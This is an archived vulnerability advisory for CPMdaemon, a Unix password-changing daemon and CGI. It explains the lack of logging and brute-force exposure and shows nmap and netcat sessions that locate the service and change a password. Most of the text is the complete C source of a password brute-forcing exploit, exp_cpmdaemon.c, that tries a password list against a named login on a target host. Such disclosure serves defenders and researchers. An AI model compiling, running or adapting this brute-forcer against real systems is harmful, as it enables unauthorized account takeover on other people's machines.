Vulnerability
CPMdaemon
Affected
CPMdaemon
Description
El Nahual (Enrique Alfonso Sanchez Montellano) found following.
cpmdaemon is a program that runs as a daemon or a cgi (altho
daemon is recomended on the README file), allowing the change of
passwords, some accounts have been restricted by the program so
no unauthorized access can be gained ro priviledged accounts
(root, bin, daemon, adm, sql, lp, sync, shutdown, halt, mail,
news, uucp, operator, games, gopher, ftp, nobody, xfs,samba, gdm,
postgres, squid). Is a fast and very articulate program. Must be
suid with owner and group root. It can be called as a cgi, calling
the cgi then connecting to the port already defined.
The way to change the password is login:oldpasswd*newpassword#
cpmdaemon has ben coded and in the readme file favors the daemon
calling of the program so you can also connect and then change
the password.
cpmdaemon has no logging at all, is true that only localhost is
able to change passwords by default, but being a remote password
administration shurely more hosts will be added (trusted hosts),
anyway even if localhost is only implemented local users can
start de daemon and do abrute force on any other user account. If
runned from within the host (/var/lib/apache/cgi-bin/cpmdaemon.cgi
on slackware for example) it becomes a true daemon (actually this
is recommended by the README file by adding it on the rc.local
file). If its called as a cgi then should be suid root wich is not
safe at all but at least only lets one try at the time.
There is no defined port for the application but finding it is
trivial:
nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000 localhost
Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on localhost (127.0.0.1):
Port State Protocol Service
21 open tcp ftp
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
110 open tcp pop-3
111 open tcp sunrpc
113 open tcp auth
515 open tcp printer
712 open tcp unknown
2049 open tcp nfs
6000 open tcp X11
8080 open tcp http-proxy
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open
GET /cgi-bin/cpmdaemon.cgi HTTP/1.0
sent 37, rcvd 0
nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000 localhost
Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on localhost (127.0.0.1):
Port State Protocol Service
21 open tcp ftp
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
110 open tcp pop-3
111 open tcp sunrpc
113 open tcp auth
515 open tcp printer
712 open tcp unknown
2049 open tcp nfs
6000 open tcp X11
8080 open tcp http-proxy
8088 open tcp unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 10 seconds
nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 8088
localhost [127.0.0.1] 8088 (?) open
CPM Daemon Manager
sent 0, rcvd 19
nahual:~/projects/Check/Vulnerable/cpmdaemon#
Anyway we can see how the port 8088 wasn't there before calling
the cgi so we can assume that is the port the daemon has been
defined to run, also it has a very distinctive banner: "CPM Daemon
Manager", same password as before is also allowed so true
bruteforcing can be done stealthly:
nahual:~# nc -vv localhost 8088
localhost [127.0.0.1] 8088 (?) open
CPM Daemon Manager
nahual:notmypasswd*notmypasswd#
Password Changed
sent 32, rcvd 36
nahual:~# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
### ###
## ##
#### ## #### #### ## ### ### ### #### ### ### ####
## ## ## ## ## ## ## ## ## ## ### ## ## ##
### ## ##### ## #### ## #### ## ##### ## ######
## ## ## ## ## ## ## ### ### ## ## ## ##
| #### #### ###### #### ### ### ## ## ###### ## #####
|
+------------------------------------------ l i n u x
nahual login: nahual
Password:
Linux 2.2.13.
No mail.
Any philosophy that can be put in a nutshell belongs there.
-- Sydney J. Harris
nahual:~$
Proof of concept code can be also found in www.s0d.org section of
our programs and on advisories:
/*
exp_cpmdaemon.c
-----------------------
BY COMPILING THIS PROGRAM YOU HEREBY DECLINE ALL LEGAL AND CIVIL RESPONSABILITY TO THE AUTHOR(S), IF YOU DO NOT COMPLY WITH THIS YOU ARE HEREBY BINDED TO SECURELY ERASE THIS SOURCE.
THIS PROGRAM IS PROOF OF CONCEPT AND FOR EDUCATIONAL PURPOSES ONLY.
-----------------------
Description:
Program to bruteforce passwords on this little daemon ...
Compile with:
gcc -Wall -o exp-cpmdaemon exp-cpmdaemon.c
or if you want debug gcc:
gcc -Wall -DDEBUG -o exp-cpmdaemon exp-cpmdaemon.c
Authors:
El Nahual
"int main(void) { write(1, "Tha s0d owns me biatch!", 23); return 0; }"
0x90
"The louder the music the better the code!"
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>
#include <wait.h>
#include <errno.h>
#define GOTIT "Changed"
#define KEEPTRYING "Invalid"
/* Definicion de colores */
#define VERDE "\E[32m"
#define BRILLOSO "\E[1m"
#define NORMAL "\E[m"
#define ROJO "\E[31m"
#define CELESTE "\E[36m"
#define AZUL "\E[34m"
#define AMARILLO "\E[33m"
#define MORADO "\E[35m"
void usage(char *nombre) {
printf("%sUsage: %s%s -[dc] -p <port> -l <login> -h <vicitm> \n", ROJO, AMARILLO,nombre);
printf("%sd:Daemon mode \n", CELESTE);
printf("l: login name to bruteforce\n");
printf("h: host to attack \n");
printf("c: cgi mode %s\n", NORMAL);
printf("%s.o0{ Passwords should in a file called passwds.s0d }0o.%s\n", AMARILLO, NORMAL);
}
unsigned long resolver (char *serv) {
struct sockaddr_in sinn;
struct hostent *hent;
hent = gethostbyname (serv);
bzero ((char *) &sinn, sizeof (sinn));
memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
int connex(int victim, int port) {
int sockfd;
struct sockaddr_in hostaddr;
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("connex");
exit(-1);
}
hostaddr.sin_port = htons(port);
hostaddr.sin_addr.s_addr = victim;
hostaddr.sin_family = AF_INET;
if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr))) < 0 ) {
perror("connex");
exit(-1);
}
return sockfd;
}
/*
The difference between the daemon and the cgi is the calling of the cgi everytime
*/
int daemon_attack(int victim, char *login, char *passwd, int port) {
int sockfd, retval, i;
fd_set rfds;
struct timeval timer;
char attack[1024], tmp[255];
for(i = 0; i < 1024; i++)
attack[i] = '\0';
for(i = 0; i < 255; i++)
tmp[i] = '\0';
/* Ensambling attack */
strcat(attack, login);
strcat(attack, ":");
strcat(attack, passwd);
strcat(attack, "*");
strcat(attack, passwd);
strcat(attack, "#");
strcat(attack, "\n");
#ifdef DEBUG
printf("Trying login %s with password %s \n", login, passwd);
#endif
sockfd = connex(victim, port);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
read(sockfd, tmp, sizeof(tmp));
if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
write(sockfd, attack, strlen(attack));
read(sockfd, tmp, sizeof(tmp));
if(strstr(tmp, "Changed") != NULL) {
printf("\t%s----------------------------------------\n", VERDE);
printf("\t%sUser %s%s%s has passwd %s%s%s %s\n", VERDE, CELESTE, login, VERDE, CELESTE, passwd, VERDE, NORMAL);
printf("\t%sTha s0d crew owns you biatch!!!!!!%s\n", VERDE, NORMAL);
printf("\t%s----------------------------------------%s\n", VERDE, NORMAL);
return 0;
}
else {
#ifdef DEBUG
printf("%s\n", tmp);
#endif
return 1;
}
}
else {
printf("Doh! this is not the CPM Daemon manager!\n");
exit(0);
}
}
else {
printf("Timeout! \n");
exit(0);
}
return 0;
}
int cgi_attack(int victim, char *login, char *passwd, int port) {
char call_cgi[255] = "GET /cgi-bin/cpmdaemon.cgi HTTP/1.0 \r\n\r\n";
int sockfd, retval, i;
fd_set rfds;
struct timeval timer;
char attack[1024], tmp[255];
for(i = 0; i < 1024; i++)
attack[i] = '\0';
for(i = 0; i < 255; i++)
tmp[i] = '\0';
/* Ensambling attack */
strcat(attack, login);
strcat(attack, ":");
strcat(attack, passwd);
strcat(attack, "*");
strcat(attack, passwd);
strcat(attack, "#");
strcat(attack, "\n");
#ifdef DEBUG
printf("attack's value is: %s \n", attack);
#endif
/* calling the cgi */
sockfd = connex(victim, 80);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
#ifdef DEBUG
printf("calling the cgi with %s", call_cgi);
#endif
write(sockfd, call_cgi, strlen(call_cgi));
}
else {
printf("TIMEOUT!\n");
exit(-1);
}
close(sockfd);
/* doing the attack on the pseudodaemon */
#ifdef DEBUG
printf("Connecting with login %s and passwd %s \n", login, passwd);
#endif
sockfd = connex(victim, port);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
read(sockfd, tmp, sizeof(tmp));
if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
write(sockfd, attack, strlen(attack));
read(sockfd, tmp, sizeof(tmp));
if(strstr(tmp, "Changed") != NULL) {
printf("%sUser %s has passwd %s %s\n", CELESTE, login, passwd, NORMAL);
return 0;
}
else {
#ifdef DEBUG
printf("%s\n", tmp);
#endif
return 1;
}
}
else {
printf("Doh! this is not the CPM Daemon manager!\n");
exit(0);
}
}
else {
printf("Timeout! \n");
exit(0);
}
return 0;
}
void header(void) {
printf("%s\t\t\texp_cpmdaemon\n", ROJO);
printf("\t----------------------------------------------\n");
printf("%s\t by El Nahual and 0x90 of tha s0d crew\n", AMARILLO);
printf("\t\ts0d crew owns you biatch!\n");
printf("%s\t----------------------------------------------%s\n\n", ROJO, NORMAL);
}
int main(int argc, char **argv) {
char ch;
int counter = 1, port, i;
char *login, *server, tmp[255];
char daemon = 0; //Daemon enabled by default
FILE *inFile;
if(argc != 8) {
usage(argv[0]);
exit(0);
}
for(i = 0; i < 255; i++)
tmp[255] = '\0';
while((ch = getopt(argc, argv, "h:,l:,dc,p:")) != EOF) {
counter++;
switch(ch) {
case 'h':
server = argv[counter + 1];
break;
case 'l':
login = argv[counter];
break;
case 'd':
daemon = 0;
break;
case 'c':
daemon = 1;
break;
case 'p':
port = atoi(argv[counter + 2]);
break;
default:
usage(argv[0]);
exit(0);
break;
}
}
header();
if((inFile = fopen("passwds.s0d", "r")) == NULL) {
perror("exp_cpmdaemon.c");
exit(-1);
}
(void)fseek(inFile, 0, SEEK_SET);
while(fgets(tmp, 255, inFile) != NULL) {
if(tmp[strlen(tmp) - 1] == '\n')
tmp[strlen(tmp) - 1] = '\0';
if(daemon == 0) {
daemon_attack(resolver(server), login, tmp, port);
}
else {
cgi_attack(resolver(server), login, tmp, port);
}
}
return 0;
}
Solution
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
